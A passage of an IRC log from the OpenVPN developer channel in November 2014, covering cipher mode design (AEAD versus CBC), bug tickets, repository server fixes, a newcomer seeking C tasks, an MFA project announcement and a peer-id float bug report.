for 471. One gone, too many left :) 08:56 <@cron2> what's that with not supporting AES-256-CBC-HMAC-SHA1? Isn't that one of the AEAD things we want to have? 09:15 <@plaisthos> cron2: the problem is more specyfing cipher with hash 09:15 <@plaisthos> we break that into encryption and auth for non aead ciphers 09:17 <@cron2> plaisthos: I understand, but that one *is* AEAD, isn't it? 09:18 <@plaisthos> cron2: no 09:18 <@plaisthos> cron2: that is CBC 09:19 <@plaisthos> AEAD is something like GCM 09:19 <@plaisthos> http://en.wikipedia.org/wiki/AEAD_block_cipher_modes_of_operation 09:19 <@vpnHelper> Title: AEAD block cipher modes of operation - Wikipedia, the free encyclopedia (at en.wikipedia.org) 09:19 <@cron2> oh. syzzer was a bit cryptic in #471 on that - thakns 09:19 <@plaisthos> CBC, CFB, ECB <- all non AEAD 09:25 <@plaisthos> syzzer answer is almost one of these "if you understand the answer you don't need it anymore" answers 09:29 -!- harshar [~harsh@103.246.106.24] has joined #openvpn-devel 10:15 -!- harshar [~harsh@103.246.106.24] has quit [Ping timeout: 264 seconds] 10:36 <@syzzer> hehe, sorry. Actually it's more subtle than that. OpenSSL offers an AES-128-CBC-HMAC-SHA1 cipher, that should be used through their AEAD cipher and does both authentication and encryption, which is quite hacky. 10:37 -!- harshar [~harsh@103.246.106.24] has joined #openvpn-devel 10:38 <@syzzer> We *could* use that, but our current set of allowed AEAD cipher is based on the assumption that the AEAD-cipher are CTR-based and thus only need unique IV's, not unpredictable IV's. However, CBC needs unpredictable IV's, so using this cipher in the current code would produce broken crypto... 10:39 <@syzzer> So I would have to add even more checks and branches to figure out which mode we should be using. 10:40 <@syzzer> I tried to avoid explaining that :p 11:35 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 11:35 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 11:48 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 256 seconds] 12:22 -!- harshar [~harsh@103.246.106.24] has quit [Ping timeout: 258 seconds] 13:00 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:16 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 15:45 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 265 seconds] 15:46 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 16:08 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 265 seconds] --- Day changed Sat Nov 01 2014 03:16 -!- harshar [~harsh@202.3.77.213] has joined #openvpn-devel 03:44 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 05:39 -!- mattock is now known as mattock_afk 06:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:14 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:35 -!- harshar [~harsh@202.3.77.213] has quit [Ping timeout: 255 seconds] 07:18 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:28 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 08:46 -!- harshar [~harsh@103.246.106.24] has joined #openvpn-devel 10:01 -!- harshar [~harsh@103.246.106.24] has quit [Ping timeout: 255 seconds] 10:16 -!- mattock_afk is now known as mattock 10:53 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 14:37 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 15:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 258 seconds] 15:25 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:25 -!- dazo_afk is now known as dazo --- Day changed Sun Nov 02 2014 01:11 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 02:02 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 02:53 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 04:12 -!- harshar [~harsh@202.3.77.215] has quit [Remote host closed the connection] 04:26 -!- mattock is now known as mattock_afk 08:13 <@vpnHelper> RSS Update - tickets: #472: --enable-small is incompatible with some VPN providers <https://community.openvpn.net/openvpn/ticket/472> 10:12 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 10:35 -!- mattock_afk is now known as mattock 11:16 -!- Netsplit *.net <-> *.split quits: @andj 11:20 -!- Netsplit over, joins: @andj 14:14 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 14:38 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 15:44 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 265 seconds] 19:20 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 19:20 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 19:21 <+debbie10t> here is an interesting problem and a well written post: https://forums.openvpn.net/topic17423.html 19:21 <@vpnHelper> Title: OpenVPN Support Forum Openvpn connect iOS causing server to exit on disconnect : OpenVPN Connect (iOS) (at forums.openvpn.net) 19:22 <+debbie10t> perhaps somebody here could take a look as I have no idea what is causing the shutdown 19:22 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has quit [Client Quit] --- Day changed Mon Nov 03 2014 00:48 -!- mattock is now known as mattock_afk 01:15 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 01:22 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 02:11 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 244 seconds] 02:11 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 245 seconds] 02:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:08 <@syzzer> debbie10t: interesting. don't have time to investigate now though :( 03:45 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 03:50 -!- mattock_afk is now known as mattock 04:04 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 272 seconds] 04:16 -!- harshar [~harsh@202.3.77.206] has joined #openvpn-devel 05:15 -!- moveax3 [~moveax3@46.165.34.55] has joined #openvpn-devel 05:31 -!- harshar [~harsh@202.3.77.206] has quit [Ping timeout: 240 seconds] 05:36 -!- moveax3 [~moveax3@46.165.34.55] has quit [Ping timeout: 255 seconds] 06:25 <@vpnHelper> RSS Update - tickets: #473: cipher none causes "Assertion failed at crypto_openssl.c:523" <https://community.openvpn.net/openvpn/ticket/473> 07:16 <@plaisthos> syzzer: more work for you :p 07:35 -!- harshar [~harsh@202.3.77.206] has joined #openvpn-devel 07:37 <@syzzer> hmm, apparently there are actually people using 'cipher none'. I'll check it out. 07:50 <@cron2> syzzer: there might be reasons, like "crypto not being allowed, but HMAC and easy-going-VPN still being valued" 08:00 <@cron2> meh, openvpn... network is down for 6 hours or so, network comes back, just reconnects as if nothing happened... :-) (which is actually getting in the way right now as I need to fiddle with routing for that very network) 09:15 -!- harshar [~harsh@202.3.77.206] has quit [Ping timeout: 256 seconds] 09:58 -!- harshar [~harsh@202.3.77.206] has joined #openvpn-devel 10:17 -!- moveax3 [~moveax3@46.165.34.55] has joined #openvpn-devel 10:21 -!- moveax3 [~moveax3@46.165.34.55] has quit [Ping timeout: 245 seconds] 10:28 -!- moveax3 [~moveax3@46.165.34.55] has joined #openvpn-devel 10:35 <@plaisthos> *rant* new OpenBSD Version does not enable IPv6 as default anymore 10:35 <@plaisthos> (src: http://www.heise.de/newsticker/meldung/OpenBSD-5-6-kickt-OpenSSL-2441288.html) 10:35 <@vpnHelper> Title: OpenBSD 5.6 kickt OpenSSL | heise online (at www.heise.de) 10:54 <@cron2> did they ever? I can't remember, there's so many IPv6 things in OpenBSD that never worked (like, NFS over IPv6) 10:54 <@plaisthos> :) 10:54 <@plaisthos> No they figured that IPv6 autoconfiguration is evil 10:55 <@cron2> I could agree to that - if you run a server, you want well-controlled IPv6, and if you want autoconfig, "because you say so". For a client, things differ, but who uses OpenBSD on a client :) 10:55 <@plaisthos> masochistic people? 10:55 <@cron2> (in our datacenters, we turn off the A bit in RAs to avoid Linux and Windows servers autoconfig'ing an IPv6 address if they are not ready for it) 11:42 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 11:43 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 11:46 -!- harshar [~harsh@202.3.77.206] has quit [Ping timeout: 272 seconds] 12:27 <+krzee> ya thats a rather consistant stance for openbsd anyways 12:28 <+krzee> disable *, let the user enable it if they want it. 12:33 -!- harshar [~harsh@202.3.77.206] has joined #openvpn-devel 12:40 -!- moveax3 [~moveax3@46.165.34.55] has quit [Remote host closed the connection] 12:41 -!- moveax3 [~moveax3@46.165.34.55] has joined #openvpn-devel 15:03 -!- dazo is now known as dazo_afk 15:17 -!- harshar [~harsh@202.3.77.206] has quit [Ping timeout: 264 seconds] 17:12 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 17:12 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 17:12 <+debbie10t> https://forums.openvpn.net/topic17430.html 17:12 <@vpnHelper> Title: OpenVPN Support Forum openvpn or ovpnAS with vpc : Doh! (at forums.openvpn.net) 17:12 <+debbie10t> seems fair enough 17:22 <+debbie10t> to put it another way: 17:23 <+debbie10t> "oo, i am rolling out a big project and i dont fkn know what i am doing ..." 18:37 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:38 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] 20:38 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 21:42 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has quit [Quit: Closing] 22:01 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 22:20 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 22:23 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:23 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:10 -!- moveax3 [~moveax3@46.165.34.55] has quit [Remote host closed the connection] 23:10 -!- moveax3 [~moveax3@46.165.34.55] has joined #openvpn-devel 23:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 23:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:22 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Nov 04 2014 00:16 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:17 -!- mode/#openvpn-devel [+o andj__] by ChanServ 00:18 -!- Netsplit *.net <-> *.split quits: @andj, s7r 00:18 -!- andj__ is now known as andj 01:25 <@vpnHelper> RSS Update - tickets: #474: Are Using Of Stair Lifts For Adults Safe? <https://community.openvpn.net/openvpn/ticket/474> 01:36 <+krzee> hmm i cant administrate that user 01:36 <+krzee> i figured maybe through the forum since login/pass are shared… but nope. 01:39 <@mattock> krzee: I'll nuke that user 01:40 <+krzee> cool 01:47 <+krzee> !repo 01:47 <+krzee> !factoids whatis #openvpn repo 01:47 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos 01:48 <+krzee> https://forums.openvpn.net/topic17420.html 01:48 <@vpnHelper> Title: OpenVPN Support Forum Current Ubuntu builds? : Wishlist (at forums.openvpn.net) 01:48 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 01:48 <+krzee> i see a bit of that wish 01:49 <+krzee> (but not just ubuntu) 01:51 <+krzee> hey mattock we're getting requests to update the howto the use easy-rsa3 guide from https://community.openvpn.net 01:51 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 02:06 <@mattock> krzee: do we have an easy-rsa3 guide there? or do people want one there? 02:06 <+krzee> we have one there 02:06 <+krzee> 1sec 02:07 <+krzee> https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto 02:07 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net) 02:10 <+krzee> http://build.openvpn.net/downloads/releases/latest/ gives a forbidden 02:22 <@mattock> um, let's see 02:27 <@mattock> fixed 02:28 <@mattock> I'll make it so that it does not happen again 02:31 -!- moveax3 [~moveax3@46.165.34.55] has quit [Ping timeout: 256 seconds] 02:43 -!- dazo_afk is now known as dazo 02:57 <@syzzer> mattock: this one tells me 'no': https://swupdate.openvpn.net/repos/ 02:57 <@mattock> lol 02:57 <@mattock> it sure does 02:57 <@mattock> the repos should work nevertheless 02:58 <@syzzer> yeah, they do work, but listing of repos is actually a nice feature. I can see what is supported and what is not without googling ;) 02:59 <@mattock> I'll check what kind of files we have there... 03:01 <@mattock> syzzer: actually you're looking at the wrong directory 03:01 <@mattock> https://swupdate.openvpn.net/apt/ is the correct one 03:01 <@mattock> it also gives 'no', though 03:01 <@mattock> https://swupdate.openvpn.net/apt/pool/ should be browsable 03:01 <@mattock> I'll make a ticket out of this 03:02 <@mattock> I'll fix this with the other guys who primarily maintain that download server 03:22 <@mattock> krzee: disabled the spammer 03:22 <@mattock> it will take a password reset before he/she can do it again, but they tend to never come back 03:23 <@mattock> also, they can always just create a new account, so doing more wouldn't help 03:41 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 03:55 <@syzzer> mattock: thanks. I think /apt/dists/ should be browseable too btw. 03:56 <@mattock> syzzer: there are shasums etc. there, so I guess that makes sense 04:29 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 04:49 -!- mattock is now known as mattock_afk 04:57 -!- moveax3 [~moveax3@46.165.34.55] has joined #openvpn-devel 05:21 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 06:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:26 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 06:53 -!- mattock_afk is now known as mattock 09:02 <@mattock> hmm, interesting that we use devcon.exe: "DevCon is not redistributable. It is provided for use as a debugging and development tool. You can freely modify DevCon for private use." (source: http://support.microsoft.com/kb/311272/en-us) 09:02 <@vpnHelper> Title: The DevCon command-line utility functions as an alternative to Device Manager (at support.microsoft.com) 09:02 <@mattock> I wonder if MS policy has changed or if that's partially untrue 10:02 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 256 seconds] 10:49 <@d12fk> mattock: according to james he spoke to MS folks and they said it's ok if i'd change the name 10:56 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:18 -!- dazo is now known as dazo_afk 11:57 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 11:59 <@mattock> d12fk: ah, ok 12:00 <@mattock> that explains why it was called tapinstall.exe 12:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 12:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 12:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:48 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:01 <@mattock> syzzer: https://swupdate.openvpn.net/apt/ 13:01 <@vpnHelper> Title: Index of /apt/ (at swupdate.openvpn.net) 13:01 <@syzzer> \o/ 13:02 <@mattock> I hope the keyring.gpg file does not contain the private signing key :D 13:04 <@syzzer> I would hope so too :p 13:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 13:13 -!- moveax3 [~moveax3@46.165.34.55] has quit [Remote host closed the connection] 13:13 -!- moveax3 [~moveax3@46.165.34.55] has joined #openvpn-devel 13:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:57 -!- puskin [~puskin@95.234.58.154] has joined #openvpn-devel 14:00 < puskin> hi 14:01 < puskin> who has time for me? 14:01 <@plaisthos> !ask 14:01 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please or (#2) http://www.latinsud.com/answer/ or (#3) http://www.catb.org/~esr/faqs/smart-questions.html to learn how to get help 14:01 <@plaisthos> also this the developer chat, not for question how to use openvpn 14:01 <@plaisthos> for that go to #openvpn 14:02 < puskin> ahah i think i'm in the right chan ;) 14:03 < puskin> i'm am a student of IT University ( 2°nd year ) and i would like to offer some help to this project, coding in C 14:03 < puskin> where i can start? 14:03 < puskin> can i* 14:10 <@mattock> puskin: you could take a look at Trac tickets 14:11 <@mattock> there's probably tons of stuff in there that needs fixing, some of it quite easy 14:11 < puskin> yeah, i'm not so good at C 14:12 < puskin> but i havn't ideas to program ;) 14:12 < puskin> so should i look at Track Tickets? 14:13 < puskin> and... if i have programming problems, should i write here? 14:27 <@mattock> you can send mail to openvpn-devel 14:27 <@mattock> there are instructions in Trac (see https://community.openvpn.net) 14:27 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 14:27 <@mattock> as you're not experience in C then you should probably stay with fairly easy problems 14:27 <@mattock> like fixing fairly easy things 14:28 <@mattock> although your patches will be reviewed by more experienced devs 14:28 < puskin> oooook 14:29 < puskin> thanks for your time and help ;) 14:29 <@mattock> np 14:29 <@mattock> drop in here later! 14:29 <@mattock> you can ask the devs here for suggestions on what to work on 14:29 < puskin> i hope i'll will be useful ;) 14:29 <@mattock> I'm sure :) 14:39 < puskin> this nigth i don't have time, but tomorrow if you'll be there , i'll ask you on what to work on for starting ;) 15:06 -!- puskin [~puskin@95.234.58.154] has quit [Quit: Leaving...] 15:08 -!- puskin [~puskin@95.234.58.154] has joined #openvpn-devel 15:33 -!- puskin [~puskin@95.234.58.154] has quit [Quit: Leaving...] 15:34 -!- mattock is now known as mattock_afk 16:12 -!- puskin [~puskin@162.248.167.201] has joined #openvpn-devel 16:13 -!- puskin [~puskin@162.248.167.201] has quit [Remote host closed the connection] 16:32 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 16:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:43 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 17:11 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 256 seconds] 17:54 <@plaisthos> OpenVPN is probably not the project to start with when learning C 20:25 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 20:41 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 22:44 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 22:44 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 22:55 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has quit [Quit: Closing] 23:18 -!- moveax3 [~moveax3@46.165.34.55] has quit [Remote host closed the connection] 23:19 -!- moveax3 [~moveax3@46.165.34.55] has joined #openvpn-devel --- Day changed Wed Nov 05 2014 00:07 -!- moveax3 [~moveax3@46.165.34.55] has quit [Ping timeout: 256 seconds] 01:16 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 01:37 -!- puskin [~puskin@wifi03.unife.it] has joined #openvpn-devel 01:52 < lev__> hello, here goes polite ping for peer-id patch 01:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 256 seconds] 01:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 02:11 -!- puskin [~puskin@wifi03.unife.it] has quit [Ping timeout: 264 seconds] 02:11 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 02:12 -!- puskin [~puskin@192.167.215.166] has joined #openvpn-devel 02:17 -!- puskin [~puskin@192.167.215.166] has quit [Ping timeout: 255 seconds] 02:21 -!- puskin [~puskin@162.248.167.201] has joined #openvpn-devel 02:28 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:31 -!- puskin [~puskin@162.248.167.201] has left #openvpn-devel ["Leaving..."] 02:35 -!- mattock_afk is now known as mattock 02:38 -!- afk_puskin [~afk_puski@162.248.167.201] has joined #openvpn-devel 02:38 -!- afk_puskin [~afk_puski@162.248.167.201] has quit [Remote host closed the connection] 03:49 -!- dazo_afk is now known as dazo 03:57 -!- puskin [~puskin@162.248.167.201] has joined #openvpn-devel 04:07 -!- puskin [~puskin@162.248.167.201] has quit [Quit: Leaving...] 04:30 <@mattock> uh, it seems we don't have any simple to fix bugs left 04:30 <@mattock> I tried to find something for puskin but came up empty 04:48 -!- puskin [~puskin@wifi05.unife.it] has joined #openvpn-devel 05:20 <@plaisthos> yeah 05:20 <@plaisthos> If we get simple bugs reports usually someone will do a quick patch that will get acked quickly 05:24 -!- srijanshetty [~srijanshe@14.139.38.11] has joined #openvpn-devel 05:46 <@plaisthos> lev__: I pushed a new OpenVPN for Android to beta with the current version of the patch 05:46 <@plaisthos> should be the general version in a few days if no deal breaking bug is in the beta 05:58 -!- puskin [~puskin@wifi05.unife.it] has quit [Read error: Connection reset by peer] 05:58 -!- puskin [~puskin@wifi05.unife.it] has joined #openvpn-devel 06:15 -!- puskin [~puskin@wifi05.unife.it] has quit [Remote host closed the connection] 06:18 < lev__> plaisthos: Just tested 0.6.20 against my own server, client floats nicely on 3g<->wifi and nat timeout 06:20 -!- srijanshetty [~srijanshe@14.139.38.11] has quit [Ping timeout: 264 seconds] 06:43 -!- mattock is now known as mattock_afk 06:48 -!- mattock_afk is now known as mattock 07:40 <@plaisthos> lev__: :) 07:40 -!- puskin [~puskin@wifi11.unife.it] has joined #openvpn-devel 07:40 < puskin> !git 07:40 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 07:40 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 07:41 <@plaisthos> when I have time again I will finish my code to automatically detect if peer-id is in use and react accordingly 07:41 -!- puskin [~puskin@wifi11.unife.it] has quit [Client Quit] 07:46 < lev__> "react accordingly" - could you clarify? 07:57 <@plaisthos> lev__: at the moment you need to disable the network reconnect stuff in the preferences for the floating to work 07:57 <@plaisthos> (which not really disables it but rebinds it on network change) 07:58 <@plaisthos> the next version would detect if peer-id is in use and then just rebind instead of reconnecting 08:05 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 08:09 <@plaisthos> I already started this https://github.com/schwabe/openvpn/commit/3f56717dd7b6b6d06eab30bb9a980ac999fd9bd7 08:09 <@vpnHelper> Title: Add support for requesting the fd again to rebind to the next interface. · 3f56717 · schwabe/openvpn · GitHub (at github.com) 08:09 <@plaisthos> But I am not sure anymore what the status was 08:48 <@syzzer> mattock: can I just install the new tap6 driver on a machine now using tap5? Or should I update openvpn itself too? 08:48 <@mattock> I think installing just the tap-windows6 driver should do it 08:48 <@mattock> can't recall if I've tried that though 08:50 <@syzzer> ok, then I'll just see what happens :p 09:24 -!- puskin [~puskin@wifi00.unife.it] has joined #openvpn-devel 09:31 -!- puskin [~puskin@wifi00.unife.it] has quit [Remote host closed the connection] 10:46 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 10:47 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 10:59 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 11:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 11:34 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 11:39 -!- kang [~kang@rsbac/developer/kang] has joined #openvpn-devel 12:11 -!- mattock is now known as mattock_afk 12:17 <@cron2> mattock: could you remind James to review the peer-id patch? 12:18 <@cron2> dang, just missed him by 6 minutes :( 12:47 -!- srijanshetty [~srijanshe@14.139.38.11] has joined #openvpn-devel 12:48 -!- srijanshetty [~srijanshe@14.139.38.11] has quit [Client Quit] 13:05 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 13:08 -!- srijanshetty [~srijanshe@14.139.38.11] has joined #openvpn-devel 13:26 -!- puskin [~puskin@95.234.58.154] has joined #openvpn-devel 13:27 -!- mattock_afk is now known as mattock 13:48 -!- puskin_afk [~puskin_af@162.248.167.201] has joined #openvpn-devel 13:49 -!- puskin_afk [~puskin_af@162.248.167.201] has quit [Remote host closed the connection] 13:50 -!- harshar [~harsh@202.3.77.215] has quit [Quit: Leaving] 13:50 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 13:51 -!- puskin [~puskin@95.234.58.154] has quit [Remote host closed the connection] 13:55 < srijanshetty> Hey @all 13:57 < srijanshetty> So, we've been working on implementing MFA support on OpenVPN as a part of Mozilla Winter of Security 13:57 < srijanshetty> *Multi Factor Authentication 13:57 < srijanshetty> @shivanshu and @harshar 13:58 < srijanshetty> It would be nice if you guys could have a look at it 13:59 < srijanshetty> https://github.com/harsh1618/openvpn/tree/feature/mfa 13:59 <@vpnHelper> Title: harsh1618/openvpn at feature/mfa · GitHub (at github.com) 14:01 < srijanshetty> Here's the wiki https://wiki.mozilla.org/index.php?title=Security/Mentorships/MWoS/2014/OpenVPN_MFA 14:01 <@vpnHelper> Title: Security/Mentorships/MWoS/2014/OpenVPN MFA - MozillaWiki (at wiki.mozilla.org) 14:05 < harshar> https://github.com/mozilla/openvpn/pull/1 14:05 <@vpnHelper> Title: Multifactor Authentication Support by shivanshuag · Pull Request #1 · mozilla/openvpn · GitHub (at github.com) 14:20 -!- rpadovani [~rpadovani@ubuntu/member/rpadovani] has joined #openvpn-devel 14:24 <@dazo> srijanshetty: I'm about to head out right now ... but I'm interested in this topic, as I've been poking around on enabling GSSAPI support (native GSSAPI as a starter, and later on IAKERB where the KDC is not available from the Internet) 14:24 <@dazo> srijanshetty: which time zone are you in? 14:24 < srijanshetty> IST 14:25 <@dazo> how many hours is that? 14:25 < harshar> it's UTC + 5.30 14:26 <@dazo> ahh, India :) 14:26 < srijanshetty> Yes :D 14:26 <@dazo> :) 14:27 <@dazo> so it's basically in the very early morning for you now :) 14:27 < srijanshetty> Yup, 2 AM. 14:28 <@dazo> Okay, I'll be back in about 12-14 hours or so ... maybe we can catch up then? And I'll try to look at those URLs you posted 14:28 < srijanshetty> That'll be cool 14:29 <@dazo> you're welcome! 14:29 -!- mattock is now known as mattock_afk 14:29 <@dazo> cya'll :) 14:30 -!- rpadovani [~rpadovani@ubuntu/member/rpadovani] has left #openvpn-devel ["Ex-Chat"] 14:32 -!- dazo is now known as dazo_afk 15:01 -!- srijanshetty [~srijanshe@14.139.38.11] has quit [Ping timeout: 244 seconds] 15:05 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:17 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 256 seconds] 16:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 258 seconds] 16:25 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:25 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:26 -!- dazo_afk is now known as dazo 17:22 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 244 seconds] 17:24 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:24 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:24 -!- dazo_afk is now known as dazo --- Day changed Thu Nov 06 2014 00:44 -!- mattock_afk is now known as mattock 01:23 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:23 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 02:43 -!- puskin [~puskin@95.234.58.154] has joined #openvpn-devel 02:43 < lev__> Found a bug in peer-id (server side part): 1) client connected 2) after some time tls renegotiation happens. Important - no data packets from client to server after that! 3) client changes ip 4) client sends data packet, server says: HMAC mismatch 02:44 -!- puskin [~puskin@95.234.58.154] has quit [Client Quit] 02:46 < lev__> thats's because crypto_options->key_ctx_bi is NULL (https://github.com/stipa/openvpn/blob/peer-id/src/openvpn/crypto.c#L410), however if data packet arrives after TLS rekey and between float, it works fine, since key_ctx_bi got value here: https://github.com/stipa/openvpn/blob/peer-id/src/openvpn/ssl.c#L2823 ("return appropriate data channel decrypt key in opt") 02:46 <@vpnHelper> Title: openvpn/crypto.c at peer-id · stipa/openvpn · GitHub (at github.com) 02:50 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 02:58 -!- puskin [~puskin@95.234.58.154] has joined #openvpn-devel 02:59 -!- puskin [~puskin@95.234.58.154] has quit [Client Quit] 03:05 -!- puskin [~puskin@95.234.58.154] has joined #openvpn-devel 03:06 -!- puskin [~puskin@95.234.58.154] has quit [Client Quit] 04:37 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 04:38 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 04:41 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 04:43 -!- moveax3 [~moveax3@109.236.91.117] 